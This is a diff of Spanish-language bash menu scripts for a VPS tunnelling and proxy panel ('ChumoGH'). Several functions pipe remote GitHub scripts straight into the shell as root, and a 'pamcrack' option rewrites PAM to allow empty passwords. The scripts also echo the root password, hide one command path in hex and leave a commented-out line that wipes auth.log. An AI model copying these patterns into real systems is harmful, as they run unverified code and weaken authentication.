+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerpython(){
+ck_py=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep "python")
+if [[ -z $(echo "$ck_py" | awk '{print $1}' | head -n 1) ]]; then
+echo -e "NO EXITEN PUERTOS"
+ else
+ ck_port=$(echo "$ck_py" | awk '{print $9}' | awk -F ":" '{print $2}')
+ for i in $ck_port; do
+ systemctl stop python.${i} &>/dev/null
+ systemctl disable python.${1} &>/dev/null
+ rm /etc/systemd/system/python.${i}.service &>/dev/null
+ done
+msg -bar
+fi
+killall python
+pkill python
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removershadowsocks(){
+wget --no-check-certificate -O libev.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh > /dev/null 2>&1
+chmod +x libev.sh
+./libev.sh uninstall
+rm -rf libev.sh
+cd /root
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerdropbear(){
+service dropbear stop
+apt-get purge dropbear -y
+apt-get remove dropbear -y
+service dropbear stop
+/etc/init.d/dropbear stop
+killall dropbear
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removeropenvpn(){
+apt-get purge openvpn -y
+apt-get remove openvpn -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerlibs32(){
+apt-get purge ia32-libs -y
+apt-get remove ia32-libs -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removernginx(){
+apt-get purge nginx -y
+apt-get remove nginx -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removersquid(){
+apt-get purge squid -y
+apt-get remove squid -y
+apt-get purge squid3 -y
+apt-get remove squid3 -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerv2ui(){
+systemctl stop v2-ui
+systemctl disable v2-ui
+rm /etc/systemd/system/v2-ui.service -f
+systemctl daemon-reload
+systemctl reset-failed
+rm /etc/v2-ui/ -rf
+rm /usr/local/v2-ui/ -rf
+killall v2-ui &> /dev/null 2>&1
+[[ -e /usr/bin/v2-ui ]] && rm -f /usr/bin/v2-ui
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+
+function mtraff(){
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+msg -bar
+echo -e "${cor[2]} ⇜ Comsumo de INTERNET TOTAL EN VPS ⇝ ⇅"
+down=($(ifconfig $(ip route | grep default | awk '{print $5}') | grep -o "(.*)" ))
+download_down=$(echo ${down[1]}${down[2]} | sed -e 's/(//' |sed -e 's/)//')
+download_up=$(echo ${down[3]}${down[4]} | sed -e 's/(//' |sed -e 's/)//')
+#echo -e " DESCARGA : $download_down | SUBIDA : $download_up" |column -t -s '|'
+msg -bar
+echo -e "\033[1;36m ↯↯↯ TRAFICO TOTAL DE BAJADA ↯↯↯ "
+echo -e "\033[1;37m DESCARGA ↡ \033[1;32m --> \033[1;34m " $download_down "\033[1;32m <--\033[1;37m Ethernet ⇧ "
+msg -bar
+echo -e "\033[1;36m ⇈ TRAFICO TOTAL DE SUBIDA ⇈ "
+echo -e "\033[1;37m SUBIDA ↡ \033[1;32m --> \033[1;34m " $download_up "\033[1;32m <--\033[1;37m Ethernet ⇧ "
+msg -bar
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR \033[0m"
+read -p " "
+}
+
+reiniciar_ser () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/gnula.sh) --menu
+return 0
+}
+host_name () {
+unset name
+while [[ ${name} = "" ]]; do
+echo -ne "\033[1;37m Nuevo nombre del host : " && read name
+tput cuu1 && tput dl1
+done
+hostnamectl set-hostname $name
+echo $name > name
+if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then
+echo -e "\033[1;33m Host alterado corretamente !, reiniciar VPS"
+else
+echo -e "\033[1;33m Host no modificado!"
+fi
+return
+}
+
+cambiopass () {
+clear&&clear
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+msg -bar
+echo -e ""
+echo -e "${cor[3]} Esta herramienta cambia la contraseña de su servidor vps"
+echo -e "${cor[3]} Esta contraseña es utilizada como usuario root"
+echo -ne "\033[1;32m Desea Seguir? [S/N]: "; read x
+[[ $x = @(n|N) ]] && fun_bar && return
+#Inicia Procedimentos
+echo -e "${cor[0]} Escriba su nueva contraseña"
+read -p " Nuevo passwd: " pass
+(echo $pass; echo $pass)|passwd 2>/dev/null
+sleep 1s
+fun_bar
+echo -e "${cor[3]} Contraseña cambiada con exito!"
+echo -e "${cor[2]} Su contraseña ahora es : ${cor[4]}$pass"
+return
+}
+
+rootpass () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Complementos/root-pass.sh)
+}
+
+apa_nginx() {
+
+apt purge apache2 -y
+# install webserver
+apt -y install nginx
+cd
+rm /etc/nginx/sites-enabled/default
+rm /etc/nginx/sites-available/default
+wget -q -O /etc/nginx/nginx.conf "https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/nginx.conf"
+[[ ! -d /var/www/html ]] && mkdir -p /var/www/html
+[[ ! -e /var/www/html/index.html ]] && echo "Setup by @ChumoGH
" > /var/www/html/index.html
+wget -O /etc/nginx/conf.d/vps.conf "https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/vps.conf"
+/etc/init.d/nginx restart
+}
+
+verifi_fun () {
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+msg -bar
+echo -e ""
+echo -e "${cor[3]} Esta herramienta es Experimental en el vps"
+echo -e "${cor[3]} Esta Accion Limita el Sobrepaso de USUARIOS del Limiter"
+msg -bar
+echo -ne " Desea Seguir? [S/N]: "; read x
+[[ $x = @(n|N) ]] && fun_bar && return
+echo -e ""
+echo " KILL MULTILOGIN PARA SSH / DROPBEAR "
+echo -ne " VERIFICANDO SISTEMA......"
+if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/killSSH.sh &>/dev/null -O /bin/killssh &>/dev/null ; then
+#curl -LO --progress-bar url && wget -q -O ruta_file url_ruta
+echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar
+chmod +x /bin/killssh &>/dev/null
+msg -bar
+[[ -e /etc/systemd/system/killadm.service ]] && {
+killall kill_drop.sh &>/dev/null
+systemctl stop killadm &>/dev/null
+systemctl disable killadm &>/dev/null
+systemctl daemon-reload &>/dev/null
+rm /etc/systemd/system/killadm.service &>/dev/null
+rm -rf /bin/killssh &>/dev/null
+rm -f /bin/lockUSERS
+echo -e " ${aLerT} ALERTA DE NOTIFICACION ${aLerT}"
+echo -e " LIMITADOR KILL MULTILOGIN DESACTIVADO"
+msg -bar
+} || {
+[[ $(dpkg --get-selections|grep -w "tcpdump"|head -1) ]] || apt-get install tcpdump -y &>/dev/null
+clear&&clear
+msg -bar
+echo -e " DESEAS HABILITAR EL BLOCK LOGIN "
+echo -e " SI HAY UN REINTENTO DE 5 VECES "
+echo -e " ESTO BOQUEARA EL USUARIO "
+echo -e "SOLO SI SOBREPASA EL LIMITE 5 VECES "
+msg -bar
+echo -ne "Desea Seguir? [S/N]: "; read kus
+[[ ${kus} = @(n|N) ]] && rm -f /bin/lockUSERS || echo 1 > /bin/lockUSERS
+/bin/killssh && echo " EJECUCION EXTOSA"
+msg -bar
+echo -e '[Unit]
+Description=KillLogin Service by @ChumoGH
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+User=root
+WorkingDirectory=/root
+ExecStart=/bin/killssh &
+ExecReload=/bin/killssh
+Restart=always
+RestartSec=10s
+
+[Install]
+WantedBy=multi-user.target' > /etc/systemd/system/killadm.service
+systemctl enable killadm &>/dev/null && echo -e " ${rUlq} AVISO DE NOTIFICACION ${rUlq} "
+systemctl start killadm &>/dev/null && echo -e " \033[1;32m LIMITADOR KILL MULTILOGIN ACTIVADO" || echo -e " \033[1;31m ERROR AL INICIAR LIMITADOR"
+systemctl daemon-reload &>/dev/null
+msg -bar
+}
+else
+echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar
+sleep 2s
+return
+fi
+read -p " PRESIONA ENTER PARA CONTINUAR" && clear
+}
+
+pamcrack () {
+echo -e "Liberar passwd para VURTL"
+echo -ne "Desea Seguir? [S/N]: "; read x
+[[ $x = @(n|N) ]] && fun_bar && return
+echo -e ""
+fun_bar "service ssh restart"
+sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password
+fun_bar "service ssh restart"
+echo -e ""
+echo -e " \033[1;31m[ ! ]\033[1;33mConfiguraciones VURTL aplicadas" | pv -qL 25
+#msg -bar
+return
+}
+
+
+RSLL (){
+echo -e " Escriba un nombre para el Redireccionador SSL"
+read -p ": " nombressl
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -ne "\033[1;37m"
+echo -e " Ingresa el Puerto Local de tu VPS (Port a Redireccionar) "
+read -p " Local-Port: " portserv
+echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:"
+echo " Ingresa Puerto SSl/TLS a USAR (Recomendado 110-442-444) "
+read -p " Listen-SSL: " portssl
+apt install stunnel4 -y
+if lsof -Pi :$portssl -sTCP:LISTEN -t >/dev/null ; then
+echo "Ya esta en uso ese puerto"
+else
+echo "[$nombressl] " >> /etc/stunnel/stunnel.conf
+echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf
+echo "accept = $portssl " >> /etc/stunnel/stunnel.conf
+echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf
+sleep 1
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" | pv -qL 25
+echo -e "\033[1;34m ##############################"
+service stunnel4 restart 1> /dev/null 2> /dev/null
+sleep 1
+fi
+}
+
+fun7() {
+while :
+do
+clear
+[[ -z "$(cat /etc/crontab | grep 'ejecutar')" ]] && _opti="\033[0;31m [OFF]" || _opti="\033[0;31m [\033[0;32mON\033[0;31m]"
+[[ -e /etc/systemd/system/killadm.service ]] && lmt="\033[0;31m [\033[0;32mON\033[0;31m] " || lmt="\033[0;31m [OFF]"
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+msg -bar
+echo -e "${cor[2]} ${yYaN} Menu de Administracion Herramientas BETA ${yYaN} "
+msg -bar
+echo -e "${cor[2]} [0] ${flech} \033[1;31mVolver"
+echo -e "${cor[2]} [1] ${flech} \033[1;36mMenu Servicios Protocolos " #\033[0;32m(#OFICIAL)"
+echo -e "${cor[2]} [2] ${flech} \033[1;36mAuto Limpiezas / Optimizacion \033[0;32m(#OFICIAL)$_opti"
+echo -e "${cor[2]} [3] ${flech} \033[1;36mCambiar Contraseña ROOT."
+echo -e "${cor[2]} [4] ${flech} \033[1;36m#- Soporte TLS 1.3# \033[0;33m( #EXPERIMENTAL )"
+echo -e "${cor[2]} [5] ${flech} \033[1;36mMemoria SWAP Particion \033[0;33m( #BETA )"
+echo -e "${cor[2]} [6] ${flech} \033[1;35mKILL MULTILOGIN \033[0;33m(#BETA) $lmt"
+echo -e "${cor[2]} [7] ${flech} \033[1;36mFIX SSH -> DROPBEAR ( PORTA :\033[1;34m $(grep 'Port' /etc/ssh/sshd_config | cut -d' ' -f2 | grep -v 'no' | xargs)\033[1;36m ) \033[0;32m(#OFICIAL)"
+echo -e "${cor[2]} [8] ${flech} \033[1;34mScript TROJAN (directo) \033[0;32m(#OFICIAL)" #MENU ShadowsocksR \033[1;33m(FIX)
+echo -e "${cor[2]} [9] ${flech} \033[1;36mFIX CONTRASEÑA ROOT EN AMAZON & GG CLOUD"
+echo -e "${cor[2]} [10] ${flech} \033[1;36mMostrar Trafico Total de VPS \033[0;32m(#OFICIAL)"
+echo -e "${cor[2]} [12] ${flech} \033[1;36mDNS Netflix"
+echo -e "${cor[2]} [13] ${flech} \033[1;36mFIX SOURCES UBUNTU"
+echo -e "${cor[2]} [14] ${flech} \033[1;36mActualizar Zona Horaria \033[0;32m(#OFICIAL)"
+echo -e "${cor[2]} [15] ${flech} \033[1;36mInstalar Go Lang \033[0;32m(#OFICIAL)"
+echo -e "${cor[2]} [16] ${flech} \033[1;36mCreador de Payloads By \033[1;31m@RealStrategy \033[0;33m(#BETA)"
+echo -e "${cor[2]} [17] ${flech} \033[1;36mTCP Aceleración (BBR/Plus) \033[0;33m(#BETA)"
+echo -e "${cor[2]} [20] ${flech} \033[1;34mFUNCIONES TESTE \033[0;33m(#BETA) "
+###############
+msg -bar
+read -p " Escoje : " ppp
+case $ppp in
+ 0)
+ clear&&break
+ ;;
+ 1)
+ clear
+ [[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+ echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+ msg -bar
+ echo -e "
+ [\033[1;30m1\033[1;33m] REINICIAR SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m
+ [\033[1;30m2\033[1;33m] Desinstalacion de SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m
+ [\033[1;30m3\033[1;33m] Mostrar Config de SERVICIOS \033[0;32m(#OFICIAL) \033[1;33m
+ [\033[1;30m4\033[1;33m] Mostrar SERVICIOS Con mas Consumo \033[0;32m(#OFICIAL) \033[1;33m"
+ msg -bar
+ echo -e "[\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m"
+ msg -bar
+ read -p ": " opcao
+ case $opcao in
+ 1)reiniciar_ser;;
+ 2)
+ [[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m"
+echo -e "\033[1;37m 【 Reseller : $(cat < /bin/ejecutar/menu_credito) - ADM 2022 】\033[0m"
+ echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m"
+ echo -e "\033[1;37mSeleccione una opcion a desinstalar: Para Salir Ctrl + C\033[1;33m
+ [\033[1;30m1\033[1;33m] BADVPN \033[1;33m
+ [\033[1;30m2\033[1;33m] FAIL2BAN \033[1;33m
+ [\033[1;30m3\033[1;33m] STUNNEL4 $stunel\033[1;33m
+ [\033[1;30m4\033[1;33m] WEBMIN \033[1;33m
+ [\033[1;30m5\033[1;33m] PYTHON \033[1;33m
+ [\033[1;30m6\033[1;33m] SHADOWSOCKS \033[1;33m
+ [\033[1;30m7\033[1;33m] DROPBEAR \033[1;33m
+ [\033[1;30m8\033[1;33m] OPENVPN \033[1;33m
+ [\033[1;30m9\033[1;33m] LIBRERIAS 32BITS \033[1;33m
+ [\033[1;30m10\033[1;33m] NGINX \033[1;33m
+ [\033[1;30m11\033[1;33m] SQUID \033[1;33m
+ [\033[1;30m12\033[1;33m] V2RAY \033[1;33m
+ [\033[1;30m13\033[1;33m] V2-UI WEB $v2ui\033[1;33m
+ [\033[1;30m14\033[1;33m] TROJAN Go $tojanss\033[1;33m
+ [\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m"
+ read -p ": " opcao
+ case $opcao in
+ 1)
+ removerbadvpn;;
+ 2)
+ removerfail2ban;;
+ 3)
+ removerstunnel;;
+ 4)
+ removerwebmin;;
+ 5)
+ removerpython;;
+ 6)
+ removershadowsocks;;
+ 7)
+ removerdropbear;;
+ 8)
+ removeropenvpn;;
+ 9)
+ removerlibs32;;
+ 10)
+ removernginx;;
+ 11)
+ removersquid;;
+ 12)
+ removerv2ray;;
+ 13)
+ removerv2ui;;
+ 14)
+ removertro;;
+ 15)
+ removetrojan;;
+ 0)
+ ;;
+ esac
+ ;;
+ 3) echo "FUNCION ANULADA";;
+ 4) mpro;;
+ 0) return;;
+ esac
+ ;;
+ 2) autoop;;
+ 3) cambiopass && break;;
+ 4) tls13;;
+ 5) xswap;;
+ 6) verifi_fun;;
+ 7) fixssh;;
+ 8) ssrmenu;;
+ 9) rootpass;;
+ 10) mtraff;;
+ 11) RSLL;;
+ 12) wget -q -O /tmp/dnsNN.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/dnsNN.sh && chmod +x /tmp/dnsNN.sh && bash /tmp/dnsNN.sh;;
+ 13) sfix;;
+ 14) chora;;
+ 15) goinst;;
+ 16) crea_pay;;
+ 17) bbr;;
+ 18) clash-man;;
+ 20) fun_teste;;
+ esac
+done
+}
+
+
+#FUNCIONES
+while true; do
+start_menu
+unset lang
+selection=$(selection_fun 10)
+case ${selection} in
+0)
+#echo -e "${cor[0]} SALIENDO " | pv -qL 50
+killall usercodes > /dev/null 2>&1
+killall ferramentas > /dev/null 2>&1
+killall menu_inst > /dev/null 2>&1
+clear && cd $HOME && break
+;;
+1)
+clear
+/etc/scpdk1/usercodes
+;;
+2)
+clear
+/etc/scpdk1/ferramentas
+;;
+3)
+echo -e "OPTIMIZANDO SERVIDOR" | pv -qL 80
+fun_limpram() {
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+ [[ -e /etc/v2ray/config.json ]] && v2ray clean 1> /dev/null 2> /dev/null
+ [[ -e /etc/xray/config.json ]] && xray clean 1> /dev/null 2> /dev/null
+ rm -rf /tmp/* > /dev/null 2>&1
+ killall usercodes > /dev/null 2>&1
+ killall ferramentas > /dev/null 2>&1
+ killall menu_inst > /dev/null 2>&1
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+ #echo -e "@ChumoGH " > /var/log/auth.log
+ systemctl restart rsyslog.service
+ systemctl restart systemd-journald.service
+ service dropbear stop > /dev/null 2>&1
+ service sshd restart > /dev/null 2>&1
+ service dropbear restart > /dev/null 2>&1
+ sleep 2
+}
+function aguarde() {
+ sleep 1
+ helice() {
+ fun_limpram >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37mOPTIMIZANDO MEMORIA \033[1;32mRAM \033[1;37me \033[1;32mSWAP\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+aguarde
+;;
+4)
+remover_adm
+exit
+;;
+5)
+clear
+msg -bar
+echo -e "CADA QUE ESCOJAS ESTO CARGAREMOS NUEVAMENTE EL MENU "
+echo -e " ----- GENERANDO UNA ESPECIE DE BUG --------"
+echo -e " NO TE PREOCUPES, UNA VEZ QUE SALGAS DE SCRIPT ESTOS "
+echo -e " PROCESOS O EJECUCUONES DESAPARECERAN "
+echo -e " NO CREAS CUALQUIER BASURA QUE DIGAN "
+echo -e " VERIFICA DETALLES TU MISMO Y SE MEJOR "
+msg -bar
+read -p " !! "
+/etc/scpdk1/menu
+;;
+6)
+funcao_verificacao
+;;
+7)
+fun7
+;;
+8)
+if [[ -e /etc/bash.bashrc-bakup ]]; then
+mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc
+cat /etc/bash.bashrc | grep -v "/etc/scpdk1/menu" >/tmp/bash
+mv -f /tmp/bash /etc/bash.bashrc
+#echo 'cgh' >> /root/.bashrc
+echo -e "\e[1;31m -- AUTO INICIO DESACTIVADO --" | pv -qL 30
+msg -bar
+elif [[ -e /etc/bash.bashrc ]]; then
+cat /etc/bash.bashrc | grep -v /bin/menu >/etc/bash.bashrc.2
+echo '/etc/scpdk1/menu' >>/etc/bash.bashrc.2
+cp /etc/bash.bashrc /etc/bash.bashrc-bakup
+mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
+chmod +x /bin/adm
+echo -e "\e[1;32m -- AUTO INICIO ACTIVADO --" | pv -qL 30
+msg -bar
+fi
+;;
+9)
+export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games
+value=$(vary_rex "2f6574632f61646d2d6c6974652f6d656e755f696e7374")
+${value}
+;;
+10)
+fun_atualizar
+;;
+esac
+done
+
diff --git a/Lista/menu-i.sh b/Lista/menu-i.sh
new file mode 100755
index 0000000..1f0e482
--- /dev/null
+++ b/Lista/menu-i.sh
@@ -0,0 +1,162 @@
+#!/bin/bash
+source $(pwd)/msg
+
+protos(){
+source $(pwd)/protos.sh
+clear&&clear
+if [[ $1 == '--dropbear' ]]; then
+source $(pwd)/protos.sh
+fun_dropbear
+elif [[ $1 == '--proxy-python' ]]; then
+source $(pwd)/protos.sh
+iniciarsocks
+else
+
+while true; do
+#FUNCOES
+cor[0]="\033[0m"
+cor[1]="\033[1;34m"
+cor[2]="\033[1;32m"
+cor[3]="\033[1;37m"
+cor[4]="\033[1;36m"
+cor[5]="\033[1;33m"
+cor[6]="\033[1;35m"
+unset squid
+unset dropbear
+unset openvpn
+unset stunel
+unset shadow
+unset telegran
+unset socks
+unset gettun
+unset tcpbypass
+unset webminn
+unset ddos
+unset v2ray
+_portbaSE="$(netstat -tunlp)"
+_ps="$(ps x)"
+tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]"
+pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+ if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then
+ echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] "
+ else
+ echo -e "\033[1;31m[OFF]"
+ fi
+fi`;
+
+xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || {
+ [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || {
+ [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] "
+ } || _pidUDP="\033[1;31m[OFF]"
+}
+slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ")
+slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]"
+[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]"
+[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]"
+[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]"
+[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]"
+[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]"
+[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]"
+[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]"
+[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]"
+[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]"
+[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]"
+[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]"
+[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]"
+ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'`
+[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m"
+[[ -d /usr/local/shadowsocksr ]] && {
+user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l )
+user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts"
+} || user_t="\033[1;31m[OFF]"
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] "
+[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]"
+[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]"
+[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]"
+tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2
+echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} "
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)"
+echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn"
+echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1"
